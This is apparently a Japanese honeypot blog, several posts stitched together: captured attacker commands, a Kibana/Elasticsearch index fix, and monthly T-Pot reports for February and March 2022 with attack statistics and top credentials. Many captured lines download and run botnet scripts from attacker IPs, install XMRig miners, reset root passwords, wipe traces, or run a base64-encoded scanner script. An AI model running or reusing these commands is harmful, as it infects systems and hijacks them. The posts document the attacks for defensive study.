cd /data/local/tmp/; busybox wget http://31.210.20.111/w.sh; sh w.sh android; curl http://31.210.20.111/c.sh; sh c.sh android,
cd /data/local/tmp/; busybox wget http://31.210.20.78/w.sh; sh w.sh; curl http://31.210.20.78/c.sh; sh c.sh,
cd /data/local/tmp/; busybox wget http://37.0.11.130/w.sh; sh w.sh; curl http://37.0.11.130/c.sh; sh c.sh,
cd /data/local/tmp/; busybox wget http://37.0.11.152/w.sh; sh w.sh; curl http://37.0.11.152/c.sh; sh c.sh,
cd /data/local/tmp/; busybox wget http://45.148.10.243/bins.sh; sh bins.sh; curl http://45.148.10.243/bins.sh; sh bins.sh,
cd /data/local/tmp/; busybox wget http://45.61.187.136/w.sh; sh w.sh; curl http://45.61.187.136/c.sh; sh c.sh,
cd /data/local/tmp/; busybox wget http://45.95.169.117/w.sh; sh w.sh; curl http://45.95.169.117/c.sh; sh c.sh,
cd /data/local/tmp/; busybox wget http://securityc.co.uk/Gummybins.sh; sh bins.sh; curl http://securityc.co.uk/bins.sh; sh bins.sh,
cd /data/local/tmp/; busybox wget http://securityc.co.uk/Gummybins.sh; sh Gummybins.sh; curl http://securityc.co.uk/Gummybins.sh; sh Gummybins.sh,
cd /data/local/tmp/; busybox wget http://securityc.co.uk/SDSckmKXCMkmsakdmcSADAxcACascC/wpijdajcSCSckSKcKMKsakD.sh; sh wpijdajcSCSckSKcKMKsakD.sh; curl http://securityc.co.uk/SDSckmKXCMkmsakdmcSADAxcACascC/wpijdajcSCSckSKcKMKsakD.sh; sh wpijdajcSCSckSKcKMKsakD.sh,
cd /data/local/tmp/; rm -rf bwget.sh wget.sh bcurl.sh curl.sh; busybox wget http://45.148.10.182/bwget.sh; sh bwget.sh || wget http://45.148.10.182/wget.sh; sh wget.sh || busybox curl http://45.148.10.182/bcurl.sh > bcurl.sh; sh bcurl.sh || curl http://45.148.10.182/curl.sh > curl.sh; sh curl.sh; rm -rf bwget.sh wget.sh bcurl.sh curl.sh,
cd /data/local/tmp/; rm -rf bwget.sh wget.sh bcurl.sh curl.sh; busybox wget http://64.225.71.35/bwget.sh; sh bwget.sh; wget http://64.225.71.35/wget.sh; sh wget.sh; busybox curl http://64.225.71.35/bcurl.sh > bcurl.sh; sh bcurl.sh; curl http://64.225.71.35/curl.sh > curl.sh; sh curl.sh; rm -rf bwget.sh wget.sh bcurl.sh curl.sh,
cd /data/local/tmp/; rm -rf w.sh c.sh; busybox wget http://37.0.11.152/w.sh; sh w.sh; curl http://37.0.11.152/c.sh; sh c.sh,
cd /data/local/tmp/; rm -rf w.sh c.sh; busybox wget http://95.181.161.47/w.sh; sh w.sh; curl http://95.181.161.47/c.sh; sh c.sh,
cd /data/local/tmp/; wget http://194.31.98.169/w.sh; sh w.sh; curl http://194.31.98.169/c.sh; sh c.sh,
cd /data/local/tmp/;busybox wget http://194.31.98.171/w.sh; sh w.sh; curl http://194.31.98.171/c.sh -o c.sh; sh c.sh,
cd /data/local/tmp/;rm *;busybox wget http://176.123.3.216/w.sh; sh w.sh; curl http://176.123.3.216/c.sh -o c.sh; sh c.sh,
cd /data/local/tmp/;rm *;busybox wget http://185.184.71.29/w.sh; sh w.sh; curl http://185.184.71.29/c.sh -o c.sh; sh c.sh,
cd /data/local/tmp;cd /data/local/tmp; wget http://84.21.170.68/update.sh -O enemy; busybox chmod 777 enemy; chmod 777 enemy; ./enemy; busybox wget http://84.21.170.68/update.sh -O; busybox chmod 777 enemy; ./enemy; wget http://198.12.116.254/folder/enemybotarm7 -O enemy; busybox chmod 777 enemy; chmod 777 enemy; ./enemy; busybox wget http://198.12.116.254/folder/enemybotarm7 -O; busybox chmod 777 enemy; ./enemy;wget http://198.12.116.254/folder/enemybotarm6 -O; busybox chmod 777 enemy; ./enemy; wget http://198.12.116.254/folder/ememybotarm4; busybox chmod 777 enemy; chmod 777 enemy; ./enemy; busybox wget http://198.12.116.254/folder/enemybotarm6 -O; busybox chmod 777 enemy; ./enemy; busybox wget http://198.12.116.254/folder/enemybotarm -O enemy; chmod 777 enemy; chmod 777 enemy; ./enemy,
cd /tmp  cd /var/run  cd /mnt  cd /root  cd /; wget http://136.144.41.55/Saitama.sh; curl -O http://136.144.41.55/Saitama.sh; chmod 777 Saitama.sh; sh Saitama.sh; tftp 136.144.41.55 -c get tSaitama.sh; chmod 777 tSaitama.sh; sh tSaitama.sh; tftp -r tSaitama2.sh -g 136.144.41.55; chmod 777 tSaitama2.sh; sh tSaitama2.sh; ftpget -v -u anonymous -p anonymous -P 21 136.144.41.55 Saitama1.sh Saitama1.sh; sh Saitama1.sh; rm -rf Saitama.sh tSaitama.sh tSaitama2.sh Saitama1.sh; rm -rf *,
cd /tmp  cd /var/run  cd /mnt  cd /root  cd /; wget http://45.95.55.24/wget.sh; curl -O http://45.95.55.24/wget.sh; chmod 777 wget.sh; sh wget.sh; tftp 45.95.55.24 -c get twget.sh; chmod 777 twget.sh; sh twget.sh; tftp -r twget2.sh -g 45.95.55.24; chmod 777 twget2.sh; sh twget2.sh; ftpget -v -u anonymous -p anonymous -P 21 45.95.55.24 wget1.sh wget1.sh; sh wget1.sh; rm -rf wget.sh twget.sh twget2.sh wget1.sh; rm -rf *,
cd /tmp ; wget 135.125.227.239/ok.sh | curl -O 135.125.227.239/ok.sh ; chmod 777 ok.sh ; ./ok.sh ; rm -rf ok.sh ; history -c,
cd /tmp ; wget 34.125.122.145/ok.sh | curl -O 34.125.122.145/ok.sh ; chmod 777 ok.sh ; ./ok.sh ; rm -rf ok.sh ; history -c,
cd /tmp ; wget 64.31.49.50/ok.sh | curl -O 64.31.49.50/ok.sh ; chmod 777 ok.sh ; ./ok.sh ; rm -rf ok.sh ; history -c,
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://103.161.17.201/Sakura.sh; chmod 777 *; sh Sakura.sh; tftp -g 103.161.17.201 -r tftp1.sh; chmod 777 *; sh tftp1.sh; rm -rf *.sh; history -c,
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://2.56.57.98/hahahaha.sh; chmod 777 *; sh hahahaha.sh; tftp -g 2.56.57.98 -r tftp1.sh; chmod 777 *; sh tftp1.sh; rm -rf *.sh; history -c,
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://31.210.20.60/SnOoPy.sh; chmod 777 *; sh SnOoPy.sh; tftp -g 31.210.20.60 -r tftp1.sh; chmod 777 *; sh tftp1.sh; rm -rf *.sh; history -c,
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://45.90.160.54/onion002; curl -O http://45.90.160.54/onion002; chmod 777 onion002; sh onion002; tftp 45.90.160.54 -c get onion002.sh; chmod 777 onion002.sh; sh onion002.sh; tftp -r .sh -g 45.90.160.54; chmod 777 onion002; sh onion002; ftpget -v -u anonymous -p anonymous -P 21 45.90.160.54 .sh .sh; sh .sh; rm -rf sh bins.sh .sh .sh; rm -rf *,
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://45.90.161.105/onions1337; curl -O http://45.90.161.105/onions1337; chmod 777 onions1337; sh onions1337; tftp 45.90.161.105 -c get bins.sh; chmod 777 onions1337; sh onions1337; tftp -r .sh -g 45.90.161.105; chmod 777 .sh; sh .sh; ftpget -v -u anonymous -p anonymous -P 21 45.90.161.105 .sh .sh; sh .sh; rm -rf sh onions1337 .sh .sh; rm -rf *,
cd /tmp; rm -rf wget*; curl -O http://45.95.55.24/wget.sh; wget http://45.95.55.24/wget.sh; chmod 777 wget.sh; ./wget.sh,
cd /tmp; wget http://45.134.225.20/SubZero.sh; sh SubZero.sh,
curl -O 45.90.160.54/start.sh ; wget 45.90.160.54/start.sh ; chmod +777 * ; ./start.sh,
curl -O https://orginal.win/start.sh ; wget https://orginal.win/start.sh ; chmod +777 * ; ./start.sh,
curl -s -L https://raw.githubusercontent.com/C3Pool/xmrig_setup/master/setup_c3pool_miner.sh | bash -s 4ANkemPGmjeLPgLfyYupu2B8Hed2dy8i6XYF7ehqRsSfbvZM2Pz7bDeaZXVQAs533a7MUnhB6pUREVDj2LgWj1AQSGo2HRj; wget https://raw.githubusercontent.com/C3Pool/xmrig_setup/master/setup_c3pool_miner.sh; sh setup_c3pool_miner.sh 4ANkemPGmjeLPgLfyYupu2B8Hed2dy8i6XYF7ehqRsSfbvZM2Pz7bDeaZXVQAs533a7MUnhB6pUREVDj2LgWj1AQSGo2HRj; echo -e "xox0\nxox0" | passwd,
echo root:dgtij24jtiu3ji4rg|chpasswd|bash; lspci | grep -i --color 'vga\|3d\|2d'; curl -s -L http://download.c3pool.org/xmrig_setup/raw/master/setup_c3pool_miner.sh | LC_ALL=en_US.UTF-8 bash -s 492cUvVMbMsKpWGoSkTSbzix9Pk2Ho6XUid9vRSFALXjfQS76gyNGjnTh6DTpPHwnBAHDztwbWUGiCfZgkbndYtAMuekPcA,
echo root:dss4tij24jtiu3ji4rg|chpasswd|bash; lspci | grep -i --color 'vga\|3d\|2d'; curl -s -L http://download.c3pool.org/xmrig_setup/raw/master/setup_c3pool_miner.sh | LC_ALL=en_US.UTF-8 bash -s 492cUvVMbMsKpWGoSkTSbzix9Pk2Ho6XUid9vRSFALXjfQS76gyNGjnTh6DTpPHwnBAHDztwbWUGiCfZgkbndYtAMuekPcA,
wget http://179.43.142.11/toto.sh;chmod 777 toto.sh;sh toto.sh,
wget http://204.15.75.59/jwsn.sh,

◆exeファイルに関するアクセス
2019.exe
Install.exe
s.exe

◆他の特徴的なアクセス
echo "root:MYGzbXJAkjjs"|chpasswd|bash,
echo -e "1212\nQW8esGjsEjBz\nQW8esGjsEjBz"|passwd|bash,
echo "1212\nQW8esGjsEjBz\nQW8esGjsEjBz\n"|passwd,
echo "root:9COeXHSjsz8B"|chpasswd|bash,
echo "1234567\noYrm4aO4jsYK\noYrm4aO4jsYK\n"|passwd,
echo -e "1234567\noYrm4aO4jsYK\noYrm4aO4jsYK"|passwd|bash,
echo -e "erica123\nOWfNoFVpjsqF\nOWfNoFVpjsqF"|passwd|bash,
echo "erica123\nOWfNoFVpjsqF\nOWfNoFVpjsqF\n"|passwd,
sleep 15s && cd /var/tmp; echo "IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApta2RpciAuWDE3LXVuaXgKY2QgLlgxNy11bml4Cm12IC92YXIvdG1wL2RvdGEudGFyLmd6IGRvdGEudGFyLmd6CnRhciB4ZiBkb3RhLnRhci5negpzbGVlcCAzcyAmJiBjZCAvdG1wLy5YMTctdW5peC8ucnN5bmMvYwpub2h1cCAvdG1wLy5YMTctdW5peC8ucnN5bmMvYy90c20gLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTkyLjE2OCA+PiAvZGV2L251bGwgMj4xJgpzbGVlcCA4bSAmJiBub2h1cCAvdG1wLy5YMTctdW5peC8ucnN5bmMvYy90c20gLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDE3LXVuaXgvLnJzeW5jL2luaXRhbGwgMj4xJgpleGl0IDA=" | base64 --decode | bash,

Kibanaで503エラーが出た話

T-Potを22.04.0 にアップデートした後、5か月経過したころに503エラーに発生してKibanaの画面につながらなくなった。  

原因を確認したところElasticsearch のIndex数が単調増加しており、その結果発生したメモリ不足が原因だった。 Elasticsearch Curator が機能していないようだ。
 

確認を進めるとT-PotではElasticsearch Curator の機能がパージされており、Index Lifecycle Policiesへログローテーション方式が変わっている。
Breaking Changes
Elasticsearch Curator is no longer supprted and superseded with Index Lifecycle Policies available through Kibana.

github.com    

crontabの以下設定も機能していない。

In /etc/crontab look for the following lines and adjust the configs to your needs.

# Delete elasticsearch logstash indices older than 90 days $myRANDOM_MINUTE $myDEL_HOUR * * * root curator --config /opt/tpot/etc/curator/curator.yml /opt/tpot/etc/curator/actions.yml

     

Elasticsearchの不要なIndexを手動でclose → delete を実施することでメモリ不足が解消された。

①削除対象のIndexをクリックする。  

②[BULK ACTION] →[Close index] を選択する。  

③StatusがOpenからCloseに変更されたことを確認し、[BULK ACTION] →[Delete index] を選択する。  

④Indexが削除されたことを確認する。

   

併せて90日のログ保存ポリシーを適用する。

⑤kibanaのstack management → Index lifecycle policies を選択する。
 適用するポリシーの列のAdd policy to index template を選択する。
 

⑥Linked template indexの値が変更されたことを確認する。
 設定したルールは次に作成される’indexから適応される。  

⑦既存のindexに反映させるためAPI経由でsettingsを変更する。

PUT logstash-*/_settings
{
  "lifecycle" : {
      "name" : "90-days-default"
    }
}

ハニーポット運用(月次報告:2022年3月)

今月のTopics

1.PicoCTF 参加

火, 15 3月 2022, 17:00 UTC — 火, 29 3月 2022, 20:00 UTC で開催された picoCTF 2022に参加した 基礎的な問題が多く学びなおしのいい機会になった。

2.セキュリティ関連書籍の購入

サイバーセキュリティプログラミング 第2版 - Pythonで学ぶハッカーの思考 を購入した。
プログラミングは全くできないのでPythonPowerShellは何とかものにしたい。プログラミング環境の構築から基礎編と実践編の内容がつまっており、充実した内容だった。
www.oreilly.co.jp

セキュリティ関連の書籍はたくさんあるが個人的には以下もおすすめ。(内容が古いが...) www.coronasha.co.jp www.coronasha.co.jp

5月にでる予定のホワイトハッカーの教科書 も楽しみである。 www.c-r.com

T-Potにて1か月運用した結果を記載する。

今月のCommitsログ

・今月は無し。

前提条件

運用日時:2022年3月1日-2022年3月31日
運用期間:31日

結果

①各ハニーポットで検知したAttack件数
  • T-Potを構成する各ハニーポットへの攻撃件数の一覧を以下に記載する。
No ハニーポット 件数 先月比
1 Cowrie 1,566,262 152,034
2 Honeytrap 761,798 ▲98,630
3 Heralding 687,591 ▲39,206
4 Dionaea 380,862 65,201
5 Rdpy 67,774 ▲55,673
6 Ciscoasa 18,432 16,446
7 Adbhoney 16,847 632
8 Mailoney 15,315 5,425
9 Tanner 4,881 ▲493
10 ConPot 2,068 207
11 CitrixHoneypot 2,019 236
12 ElasticPot 871 37
13 Medpot 209 ▲118
14 Dicompot 170 99
15 Honeysap 13 ▲24
  • Result
    • 特記事項無し

②攻撃元の国名と件数(Top 20)
No 攻撃元の国名 件数 先月順位
1 Russia 661,956 2(↑)
2 Netherlands 513,743 1(↓)
3 China 483,012 3(→)
4 United States 464,431 4(→)
5 Japan 156,251 10(↑)
6 India 92,381 9(↑)
7 Singapore 77,766 8(↑)
8 Vietnam 75,335 11(↑)
9 Spain 61,237 圏外(↑)
10 Brazil 56,841 12(↑)
11 Germany 51,019 15(↑)
12 Hong Kong 48,957 圏外(↑)
13 United Kingdom 47,281 20(↑)
14 Indonesia 46,537 17(↑)
15 Mexico 39,649 圏外(↑)
16 South Korea 35,838 14(↓)
17 Sweden 26,952 19(↑)
18 Latvia 25,974 16(↓)
19 Monaco 23,177 圏外(↑)
20 Panama 22,957 7(↓)
  • Result
    • ロシアが1位に返り咲いた。戦争の影響もあるのだろうか?

③検知したCVEの脆弱性と件数
  • Suricata(オープンIPS)にて検知した各攻撃の脆弱性の内容を以下に記載する。
No CVE ID Count
1 CVE-2020-11899 1,022,080
2 CVE-2019-12263 CVE-2019-12261 CVE-2019-12260 CVE-2019-12255 229
3 CVE-2019-0708 CVE-2019-0708 CVE-2019-0708 18
4 CVE-2020-11910 16
  • Result
    • 先月から変更なし

④よく攻撃されるユーザ名
  • ユーザ名でよく攻撃されるキーワード(Top 50)で記載する。
No ユーザ名 件数
1 root 128,995
2 sa 24,988
3 user 6,706
4 admin 6,043
5 nproc 5,892
6 test 2,057
7 (empty) 1,731
8 postgres 1,638
9 22 1,284
10 ubuntu 1,201
11 oracle 888
12 git 775
13 !root 642
14 2Wire 639
15 support 609
16 testuser 582
17 ftpuser 573
18 www 530
19 guest 413
20 dev 399
21 mysql 385
22 adm 358
23 deploy 351
24 ansible 342
25 server 335
26 666666 330
27 unknown 327
28 debug 323
29 0 322
30 blank 321
31 $ALOC$ 317
32 anonymous 305
33 ftp 298
34 user1 273
35 info@mailrelay.local 263
36 web 262
37 nagios 256
38 minecraft 255
39 system 253
40 hadoop 247
41 tomcat 242
42 zabbix 239
43 test1 235
44 administrator 216
45 demo 210
46 jenkins 204
47 Admin 201
48 username 196
49 mc 187
50 www-data 184
  • Result
    • 特記事項無し

⑤よく攻撃されるパスワード
  • パスワードでよく攻撃されるキーワード(Top 50)を以下に記載する。
No パスワード 件数
1 admin 17,851
2 123456 8,143
3 nproc 5,892
4 password 3,187
5 123 3,161
6 (empty) 3,096
7 1 2,901
8 12345 1,842
9 1234 1,613
10 user 1,491
11 root 1,304
12 12345678 1,268
13 blank 960
14 test 921
15 0 775
16 123456789 710
17 1qaz2wsx 626
18 1q2w3e4r 562
19 qwerty 549
20 111111 546
21 123123 490
22 666666 454
23 Password 431
24 1234567890 419
25 support 409
26 1234567 398
27 ubnt 397
28 abc123 394
29 1qaz@WSX 387
30 pass 375
31 alpine 368
32 master 363
33 test123 361
34 00000000 359
35 backup 355
36 123qwe 346
37 unknown 326
38 hi3518 311
39 !ishtar 309
40 Passw0rd 298
41 p@ssw0rd 293
42 synnet 290
43 admin123 284
44 P@ssw0rd 283
45 !QAZ2wsx 281
46 testuser 268
47 password123 263
48 12 261
49 q1w2e3r4 241
50 system 238
  • Result
    • 特記事項無し

⑥今月のmasscanとZmap
  • masscanの観測結果は以下の通り。

  • Zmapの観測結果は以下の通り。

  • Result

    • 特記事項は無し。

最後に

  • shファイルとexeファイル関連の問い合わせは以下の通り。
◆shファイルに関するアクセス
"http://142.93.34.32/cgi-bin/;cd${IFS}/var/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http:/106.246.224.219/russia.sh;sh${IFS}/tmp/russia.sh"

"curl -s -L https://raw.githubusercontent.com/C3Pool/xmrig_setup/master/setup_c3pool_miner.sh | bash -s 4ANkemPGmjeLPgLfyYupu2B8Hed2dy8i6XYF7ehqRsSfbvZM2Pz7bDeaZXVQAs533a7MUnhB6pUREVDj2LgWj1AQSGo2HRj; wget https://raw.githubusercontent.com/C3Pool/xmrig_setup/master/setup_c3pool_miner.sh; sh setup_c3pool_miner.sh 4ANkemPGmjeLPgLfyYupu2B8Hed2dy8i6XYF7ehqRsSfbvZM2Pz7bDeaZXVQAs533a7MUnhB6pUREVDj2LgWj1AQSGo2HRj; echo -e \"xox0\\nxox0\" | passwd",
"curl -s -L https://raw.githubusercontent.com/C3Pool/xmrig_setup/master/setup_c3pool_miner.sh | bash -s 4ANkemPGmjeLPgLfyYupu2B8Hed2dy8i6XYF7ehqRsSfbvZM2Pz7bDeaZXVQAs533a7MUnhB6pUREVDj2LgWj1AQSGo2HRj; wget https://raw.githubusercontent.com/C3Pool/xmrig_setup/master/setup_c3pool_miner.sh; sh setup_c3pool_miner.sh 4ANkemPGmjeLPgLfyYupu2B8Hed2dy8i6XYF7ehqRsSfbvZM2Pz7bDeaZXVQAs533a7MUnhB6pUREVDj2LgWj1AQSGo2HRj",
"cd /tmp; curl -s -L http://download.c3pool.org/xmrig_setup/raw/master/setup_c3pool_miner.sh | LC_ALL=en_US.UTF-8 bash -s 492cUvVMbMsKpWGoSkTSbzix9Pk2Ho6XUid9vRSFALXjfQS76gyNGjnTh6DTpPHwnBAHDztwbWUGiCfZgkbndYtAMuekPcA; wget http://179.43.175.170/putkite/quickr1n.sh; chmod 777 *; sh quickr1n.sh; echo storytime",
"cd /tmp; curl -s -L http://download.c3pool.org/xmrig_setup/raw/master/setup_c3pool_miner.sh | LC_ALL=en_US.UTF-8 bash -s 492cUvVMbMsKpWGoSkTSbzix9Pk2Ho6XUid9vRSFALXjfQS76gyNGjnTh6DTpPHwnBAHDztwbWUGiCfZgkbndYtAMuekPcA; wget http://179.43.175.170/putkite/quickr1n.sh; curl -O http://179.43.175.170/putkite/quickr1n.sh; chmod 777 *; sh quickr1n.sh; echo storytime",
"curl -s -L http://download.c3pool.org/xmrig_setup/raw/master/setup_c3pool_miner.sh | LC_ALL=en_US.UTF-8 bash -s 492cUvVMbMsKpWGoSkTSbzix9Pk2Ho6XUid9vRSFALXjfQS76gyNGjnTh6DTpPHwnBAHDztwbWUGiCfZgkbndYtAMuekPcA; lspci | grep -i --color 'vga\\|3d\\|2d'; echo root:ds234e3123g4tij24jtiu3ji23rg|chpasswd|bash",
"uname -a;lspci | grep -i --color 'vga\\|3d\\|2d';curl -s -L http://download.c3pool.org/xmrig_setup/raw/master/setup_c3pool_miner.sh | LC_ALL=en_US.UTF-8 bash -s 492cUvVMbMsKpWGoSkTSbzix9Pk2Ho6XUid9vRSFALXjfQS76gyNGjnTh6DTpPHwnBAHDztwbWUGiCfZgkbndYtAMuekPcA; echo root:d11es234e3123g4tij24jtiu3ji4rg|chpasswd|bash",

"cd /data/local/tmp/; busybox wget http://23.94.22.13/w.sh; sh w.sh; curl http://23.94.22.13/c.sh; sh c.sh",
"cd /data/local/tmp/; busybox wget http://194.31.98.248/w.sh; sh w.sh; curl http://194.31.98.248/c.sh; sh c.sh",
"cd /data/local/tmp/; busybox wget http://176.32.34.23/w.sh; sh w.sh; curl http://176.32.34.23/c.sh -o c.sh; sh c.sh",
"cd /data/local/tmp/; rm -rf w.sh; rm -rf c.sh; busybox wget http://192.3.251.253/w.sh; sh w.sh; curl http://192.3.251.253/c.sh; sh c.sh",
"cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://45.90.161.105/onions1337; curl -O http://45.90.161.105/onions1337; chmod 777 onions1337; sh onions1337; tftp 45.90.161.105 -c get bins.sh; chmod 777 onions1337; sh onions1337; tftp -r .sh -g 45.90.161.105; chmod 777 .sh; sh .sh; ftpget -v -u anonymous -p anonymous -P 21 45.90.161.105 .sh .sh; sh .sh; rm -rf sh onions1337 .sh .sh; rm -rf *",
"cd /data/local/tmp/; busybox wget http://37.0.11.224/w.sh; sh w.sh; curl http://37.0.11.224/c.sh; sh c.sh",
"cd /data/local/tmp/; busybox wget http://136.144.41.60/w.sh; sh w.sh; curl http://136.144.41.60/c.sh; sh c.sh",
"cd /system/bin/; rm arm*; rm busybox wget http://176.32.34.23/w.sh; sh w.sh; curl http://176.32.34.23/c.sh -o c.sh; sh c.sh",
"cd /data/local/tmp/; busybox wget http://31.210.20.111/w.sh; sh w.sh; curl http://31.210.20.111/c.sh; sh c.sh",
"cd /sdcard/Download/;busybox wget http://176.32.34.23/w.sh; sh w.sh; curl http://176.32.34.23/c.sh -o c.sh; sh c.sh",
"cd /data/local/tmp/; wget http://194.31.98.169/w.sh; sh w.sh; curl http://194.31.98.169/c.sh; sh c.sh",
"cd /data/local/tmp/; rm -rf *.sh; busybox wget http://136.144.41.169/w.sh; sh w.sh; curl http://136.144.41.169/c.sh; sh c.sh",


"cd /data/local/tmp/; wget http://2.56.56.182/adb.sh; sh adb.sh; curl http://2.56.56.182/adb.sh; sh adb.sh"
"cd /data/local/tmp/; wget http://2.56.56.182/abd.sh; sh abd.sh; curl http://2.56.56.182/abd.sh; sh abd.sh",
"cd /data/local/tmp/; wget http://2.56.56.182/abd.sh; sh abd.sh; curl http://2.56.56.182/abd.sh; sh abd.sh"


"cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://194.31.98.122/keenzeuonions; curl -O http://194.31.98.122/keenzeuonions; chmod 777 keenzeuonions; sh keenzeuonions; tftp 194.31.98.122 -c get keenzeuonions; chmod 777 bins.sh; sh keenzeuonions; tftp -r .sh -g 194.31.98.122; chmod 777 .keenzeuonions; sh .keenzeuonions; ftpget -v -u anonymous -p anonymous -P 21 194.31.98.122 .keenzeuonions .keenzeuonions; sh .keenzeuonions; rm -rf sh keenzeuonions .keenzeuonions .keenzeuonions; rm -rf *",
"cd /tmp; wget http://0.0.0.0/update.sh; busybox wget http://0.0.0.0/update.sh; chmod 777 update.sh; sh update.sh; rm -f update.sh",
"cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://31.210.20.109/76d32be0.sh; curl -O http://31.210.20.109/76d32be0.sh; chmod 777 76d32be0.sh; sh 76d32be0.sh; tftp 31.210.20.109 -c get 76d32be0.sh; chmod 777 76d32be0.sh; sh 76d32be0.sh; tftp -r 76d32be02.sh -g 31.210.20.109; chmod 777 76d32be02.sh; sh 76d32be02.sh; ftpget -v -u anonymous -p anonymous -P 21 31.210.20.109 76d32be01.sh 76d32be01.sh; sh 76d32be01.sh; rm -rf 76d32be0.sh 76d32be0.sh 76d32be02.sh 76d32be01.sh; rm -rf *",
"cd /etc/; wget http://185.245.62.231/test.sh; chmod 777 test.sh; ./test.sh;",

"wget http://0.0.0.0/update.sh",
"#!/bin/sh; PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; wget http://182.52.51.239/scripts/23s; curl -O http://182.52.51.239/scripts/23s; chmod +x 23s; ./23s; wget http://182.52.51.239/scripts/23; curl -O http://182.52.51.239/scripts/23; chmod +x 23; ./23; rm -rf 23.sh; ",
"cd /tmp || cd /run || cd /; wget http://31.7.62.22/niggasbins.sh; chmod 777 niggasbins.sh; sh niggasbins.sh; tftp 31.7.62.22 -c get niggastftp1.sh; chmod 777 niggastftp1.sh; sh niggastftp1.sh; tftp -r niggastftp2.sh -g 31.7.62.22; chmod 777 niggastftp2.sh; sh niggastftp2.sh; rm -rf niggasbins.sh niggastftp1.sh niggastftp2.sh; rm -rf *",
"cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://31.210.20.190/ssh.sh; curl -O http://31.210.20.190/ssh.sh; chmod 777 ssh.sh; sh ssh.sh; tftp 31.210.20.190 -c get ssh.sh; chmod 777 ssh.sh; sh ssh.sh; tftp -r ssh2.sh -g 31.210.20.190; chmod 777 ssh2.sh; sh ssh2.sh; ftpget -v -u anonymous -p anonymous -P 21 31.210.20.190 ssh1.sh ssh1.sh; sh ssh1.sh; rm -rf ssh.sh ssh.sh ssh2.sh ssh1.sh; rm -rf *",
"cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://31.210.20.109/bins.sh; busybox wget http://31.210.20.109/bins.sh; tftp -r bins.sh -g 31.210.20.109; busybox tftp -r bins.sh -g bins.sh; ftpget -v -u anonymous -p anonymous -P 21 31.210.20.109 bins.sh bins.sh; busybox ftpget -v -u anonymous -p anonymous -P 21 31.210.20.109 bins.sh bins.sh; chmod 777 bins.sh; busybox chmod 777 bins.sh; sh bins.sh; rm -rf bins.sh",

"cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://31.210.20.60/SnOoPy.sh; chmod 777 *; sh SnOoPy.sh; tftp -g 31.210.20.60 -r tftp1.sh; chmod 777 *; sh tftp1.sh; rm -rf *.sh; history -c",



◆exeファイルに関するアクセス
・Port:39877に対する2019.exeファイルへのGETリクエスト
・Port:46197に対するPhoenixClient.exeファイルへのGETリクエスト
・Port:34277,39527,41797,43227,47017,47341,49539,52901,53413,55699,57705,58585,60515に対するSystemwy.exeファイルへのGETリクエスト
・Port:39809,50895に対するServer.exeファイルへのGETリクエスト

ハニーポット運用(月次報告:2022年2月)

今月のTopics

ロシアによるウクライナへの軍事侵攻が2/24(木)から開始された。

タイムズ紙によるとロシアによるウクライナ侵攻の直前に、中国がウクライナに大規模なサイバー攻撃を仕掛けていたとの報道もあり中国がロシアの侵攻を事前に織り込んでいたことが示唆されている。 www.thetimes.co.uk

戦争の激化に伴い、ウクライナ侵攻に関連するアクセスもより活発になることが予想される。一刻も早い戦争終結を祈るばかりである。
www3.nhk.or.jp

T-Potにて1か月運用した結果を記載する。

今月のChangelog

・今月は無し。 ※CHANGELOG.mdを参照していたがメンテされないため、Commitsログを参考にする。

github.com github.com

前提条件

運用日時:2022年2月1日-2022年2月28日
運用期間:28日

結果

①各ハニーポットで検知したAttack件数
  • T-Potを構成する各ハニーポットへの攻撃件数の一覧を以下に記載する。
No ハニーポット 件数 先月比
1 Cowrie 1,414,228 -
2 Honeytrap 860,428 -
3 Heralding 726,797 -
4 Dionaea 315,661 -
5 Rdpy 123,447 -
6 Adbhoney 16,215 -
7 Mailoney 9,890 -
8 Tanner 5,374 -
9 Ciscoasa 1,986 -
10 ConPot 1,861 -
11 CitrixHoneypot 1,783 -
12 ElasticPot 834 -
13 Medpot 327 -
14 Dicompot 71 -
15 Honeysap 37 -
  • Result
    • 先月はデータ消去事故が発生したため、先月比の比較は無し。

②攻撃元の国名と件数(Top 20)
No 攻撃元の国名 件数 先月順位
1 Russia 774,646 -
2 Netherlands 429,214 -
3 United States 420,509 -
4 China 412,076 -
5 Japan 116,656 -
6 Vietnam 95,508 -
7 India 75,679 -
8 Singapore 63,631 -
9 Poland 61,354 -
10 Spain 53,663 -
11 Denmark 53,471 -
12 Brazil 49,195 -
13 Germany 48,984 -
14 South Korea 48,654 -
15 United Kingdom 43,466 -
16 Hong Kong 42,487 -
17 Mexico 34,838 -
18 Indonesia 33,494 -
19 Ukraine 27,543 -
20 Sweden 23,609 -
  • Result

③検知したCVEの脆弱性と件数
  • Suricata(オープンIPS)にて検知した各攻撃の脆弱性の内容を以下に記載する。
No CVE ID Count
1 CVE-2020-11899 1,479,040
2 CVE-2019-12263 CVE-2019-12261 CVE-2019-12260 CVE-2019-12255 480
3 CVE-2019-0708 CVE-2019-0708 CVE-2019-0708 14
4 CVE-2020-11910 3

④よく攻撃されるユーザ名
  • ユーザ名でよく攻撃されるキーワード(Top 50)で記載する。
No ユーザ名 件数
1 root 105,222
2 sa 26,042
3 nproc 6,395
4 user 6,299
5 admin 5,469
